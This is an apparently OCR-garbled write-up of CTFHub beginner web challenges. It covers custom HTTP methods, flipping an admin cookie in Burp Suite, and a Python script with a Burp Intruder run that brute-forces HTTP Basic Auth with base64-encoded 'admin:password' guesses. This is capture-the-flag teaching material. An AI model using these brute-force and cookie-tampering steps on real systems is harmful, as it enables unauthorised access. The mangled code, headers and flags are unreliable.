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HTTP Method is GET

Use CTF**B Method, I will give you flag.

Hint: If you got [HTTP Method Not Allowed | Error, you should request index.php.
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r1l -v -X CTFHUB http://challenge-de28eadbe2ae5977.sandbox.ctfhub.com:18088/index.php
Trying 47.98.148.7...

< TCP_NODELAY se

g ieadbe?2ae5977 . sandbox.ctthub.com (47.98.148.7) port 10080 (#0)

CTFHUB /index.php HTTP,

challenge-de28eadbe2ae5977 . sandbox. ctfhub. com: 10088
—ﬁqpnt: curl/7.

< HTTP/1.1 200 OK
< Server: openr
< Date: Wed, 15 5 39
< Content-Type: te ;html charset=UTF-8
< Transfer-Enco : chunked
Connection: keep- alr

ntrDl—ﬁllDw—Heaa 5: X-Requested-With
Control-Allow-Methods:

<title>CTFHub HTTP Method</title>
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@ Not secure | challenge-2f6502c9ae48d0a7.sandbox.ctfhub.com:10080
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No Flag here!
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ere ASP - o X Burp Suite Professional v1.7.35 - Temporary Project - licensed to surferyz - O X
Burp Intruder Repeater Window Logger++ Help
C ting...

S [ Extender |  Projectoptons |  Useropions | Alets | CO2 | Baich Scan Report Generator | sssvaligator | Loggerrr |
< R challenge-2f6502c9aed8d0a7 sandbox.ctihub.com:10080/ & K+l ¥ v X | fi [ Target Prox Spider I Scanner I H Repeater T Sequencer T Decoder [ Comparer 1
INT ¥ | = & SQl- XSS5 Encryption- Encoding- Other~ 1. lz e [ -
@ Load URL | http://cn.bing.com/
@ Split URL —-?'-? Go Cancel < [v | >|v | Follow redirection Target: httpichallenge-2f6502c9ae48d0ar sandbox.ctihub.com:10080 | #|| 2 |
») Execute Request Response

Enable Post data Enable Referrer Raw | Headers | Hex Raw | Headers | Hex
* GET /index.php HTTP/1.1 & HTTP/1.1 302 Moved Temporarily [«
& Host: challenge-218502¢9ae48d0a7.sandbox.ctfhub.com: 10080 Senver openresty/1.15.8.2
No Fla here' UserAgent: Mozilla/5.0 (Windows NT 6.2; WOWES; 1v:18.0) Gecker20100101 Date: Wed, 15 Apr 2020 16:08:33 GMT
L 2 g . Firefox/18.0 Content-Type: text/html; charset=UTF-8
— Accept: textftml htmb+xml, mlig=0.9 "7"9=0.8 Connestion: close
_ Accept-Language: en-US enig=0.5 ¥-Powered-By: PHP/5.6.40
i . Accept-Encoding: gzip, deflate Location: /index.html
P Give me Fla Referer: http: fchallenge-206502c9asd8d0a7 . sandbox. ctihub. com:10080/index. himl Access-Control-Allow-Origin: *
Connection: close Accass-Control-Allow-Headers: X-Requested-With

@@ Accass-Control-Allow-Msthods: *
£ ® Content-Length: 43
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3.Cookie

S © Not secure
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beabfOfeda36d6.sandbox.ctthub.com: 10080

HEZR ERR BEHERE]

hello guest. only admin can get flag.
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http://challen...ub.com: 10080/

<« challenge-a8beabflfeda36d6.sandbox.ctfhub.com: 10080
INT v | = @ SQL- XSS- Encryption- Encoding- Other

@ Load URL http://cn.bing. com/

I Split URL

r. Execute

Enable Post data Enable Referrer

* hello guest. only admin can get flag.
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Burp Intruder Repeater Window Logger++ Help

T Project options I User options
I T Spider I

J Intercept I HTTP history IWebSockets histary I Options ]

@J Request to http://challenge-a8beabflifeda36d6. sandbox. cthub.com: 10080 [47.98.148.7]

l J l J [ Intercept is on ] &J
J Raw I Params I Headers m

GET / HTTP/1.1

Host: challenge-a8heabfifeda3tds. sandbox. ctfhub. com: 10080

User-Agent: Mozilla/.0 (Windows NT 6.2, WOWE4; nv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html application/xhtml+xml application/xml; q=0.9 */*q=0.8
Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Cockie: admin=0

Connection: close

Cache-Control: max-age=0
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Target
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Proxy Scanner Intruder
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Forward Drop

Cookie:admin=0
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Request Response

j Raw T Params T Headers I Hex 1 j Raw T Headers T Hex 1

GET / HTTP/1.1 'l HTTP/ .1 200 Ok

Host: challenge-aBheabflfeda36de. sandbox. ctfhub. com: 10080 Server: openresty/1.15.8.2

User-Agent: Mozilla/a.0 (Windows NT 6.2, WOWE4, r:18.0) Gecko/20100101 Date: Wed, 15 Apr 2020 16:31:00 GMT

Firefox/18.0 Content-Type: text/html; charset=UTF-8

Accept: text/html application/xhtml+xml application/xml;q=0.9 ** q=0.8 Connection: close

Accept-Language: en-US en;q=0.5 ¥-Powered-By: PHP/5.6.40

Accept-Encoding: gzip, deflate Access-Control-Allow-Origin: ™

Cookie: admin=1 Access-Control-Allow-Headers: X-Requested-With

[Cannection: close Access-Control-Allow-Methods: *

Cache-Contral: max-age=0 Content-Length: 48
ctfhuh{.d1ﬁf'?1ﬁacZI]B625dﬁ13354l]a?ad8129fd636c}
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GET /private/index.html HTTP/1.0
Host: localhost

(2)-75 55 % B2 &

HTTP/1.0 401 Authorization Required

Server: HTTPd/1.0

Date: Sat, 27 Nov 2004 10:18:15 GMT
WWW-Authenticate: Basic realm="Secure Area"
Content-Type: text/html

Content-Length: 311

< IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.0rg/TR/1999/REC-html1401-19991224/1oose.dtd">

>Error</
HTTP-EQUIV=" " CONTENT="

>401 Unauthorized.</H1></

@B)F FuwmiER (FAERFE)

F 4 “" Aladdin”, %15, password “open sesame”



GET /private/index.html HTTP/1.0
Host: localhost

Authorization: Basic QWxhZGRpbjpvcGVUIHN1c2FtZQ==

Authorizationi & 3k ¥ B P 4 R85 10 {8 7T LA 5 Hh 4 T8 A iR 55 .
(4).08 55 ¥ BRI 25

HTTP/1.0 200 OK
Server: HTTPd/1.0
Date: Sat, 27 Nov 2004 10:19:07 GMT

Content-Type: text/html
Content-Length: 10476
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mport basebd

=open('18_million_password_list_top_1@8.txt','r")
pring=cpen{ 'testl123456.txt", 'w"}

lines=f.readlines()

for line in lines:

.F

Authorization="admin:"+line.strip{'\n"})
Authorizationbséd=basess.bédencode(Authorization)
print Authorizationbse64
spring.write{Authorizationbs64)

spring.write("\n")

.close()

spring.close()

4]

Connecting...
< challenge-cd426836c40a080d.sandbox ctfhub.com:10080
INT ~|= e SQl- XS5 Encyption Encoding- Other

@ Load URL | hrep://cn.bing. com/

% Split URL
v Execute
Enable Postdata | | Enable Referrer
« CT F A A
« CTFHub &l ik
¥
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~ Here is your flag: click
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PN
& | Atack Sae Columns 3 P
& | [ Resuts | Target | Positons | Payloads | ptions b
@ ‘F\\ter.shuwmga\\\lems N
)| | Payioad | Status | Error \'ﬁmso{t\Lsng{h }\E
@ YWRiaW46YXNkZmdo 200 0] O J |
oo 401 0 O
- |1 YWRIaVVAGMTIZNDU2 401 O O
2 YWRtaW46cGFzc3dvemQ= 401 o o 404
3 YWRIaW4BbGIuZa== 401 O O
4 YWRIaVWAGMTIZNDUZNzZg= 401 O O
5 YWRtaW46cXdicnRS 401 (8] (8] 404
6 YWRIaVWABMTIZNDUZNzZgS 401 0 O
4 YWRtEWAGMTIZNDU= 401 0o O
8 YWRtaW46MTIZNA== 401 (8] (8] 404
H YWRGVWBMTEXMTEX 401 0 O
10 YWRHaWAGMTIZNDUZNw=='401 0o O
1" YWRtaW46ZHIhZ29u 401 O O 404
12 YWRISVWABMTIZMTIz 401 O O 4
13 YWRaWAGYmFzZWhb. .. 401 0o O
14 YWRIEWASYWAjMTIZ 401 O O
15 YWRIaVW46ZmviGlhbGw= 401 O O
16 YWRIW4BHWIUa2VE 401 0 0O am

Request | Response

Burp Intruder Repeater Window Logger++ Help
[ Extender | |
i | Spider

- 2.
Target Posmans[Pay\oads Options

(2] Payload Positions

Project options
Poy |

User options

[

Target Scanner

Configure the positions where payloads will be inserted into the base
positions - see help for full details.

Attack type: | Sniper

GET Aag.html HTTP/1.1
Host: challenge-cd426836c40a080d. sandbox. cthub. com: 10080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOWE4; v 18.0) Geckol
(Aceept: text/tml, application/xhtmHxml application/xmlq=0.9 %/
Aceept-Language: en-US en q=05
Accspt-Encading: gzip, deflate
Referer: http:/fchallenge- 4426836¢40a080d. sandbox. cifhub. com: 10

B cmdexe

Connsction: closs Sear P~ U~ &L=
|Authorization: Basic §YWRtaW4EMO==§
Result 42 | Intruder attack 1 - m] X
Payload:  YWRiaW4GYXNKZmdo
2 . Status- 200 R
Length 394
Timer: 105 lexs

Request | Response
Raw | Headers | Hex

HTTP/1.1200 OK
Server: openresty/1.15.8.2

Date: Wed, 15 Apr 2020 17:41:18 GMT
Content-Type: text/html; charsst=utt&
Connection: close

Last-Modified: Wed, 15 Apr 2020 17:14:23 GMT
ETag: WI"5e9740%-31"
Access-Contral-Allow- Origin: *
Access-Control-Allow-Headers: X-Requested-With
[Access-Contral-Allow-Mathods: *

Content-Length: 49
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<body>

<canvas id="canvas" width="1088" height="786"></canvas>

<diwv>
<input
<br/ >
<input
</div>
</body>

id="switch" type="button" value="BI§" onclick="clickSwitch()"></input>

id="content" type="text" value="8"></input>

<l-- ctfhub{'f)BClb‘}echaJ_BZEJGadBSFSc9b1358d5‘F2819d95]- -
<script type="text/javascript">
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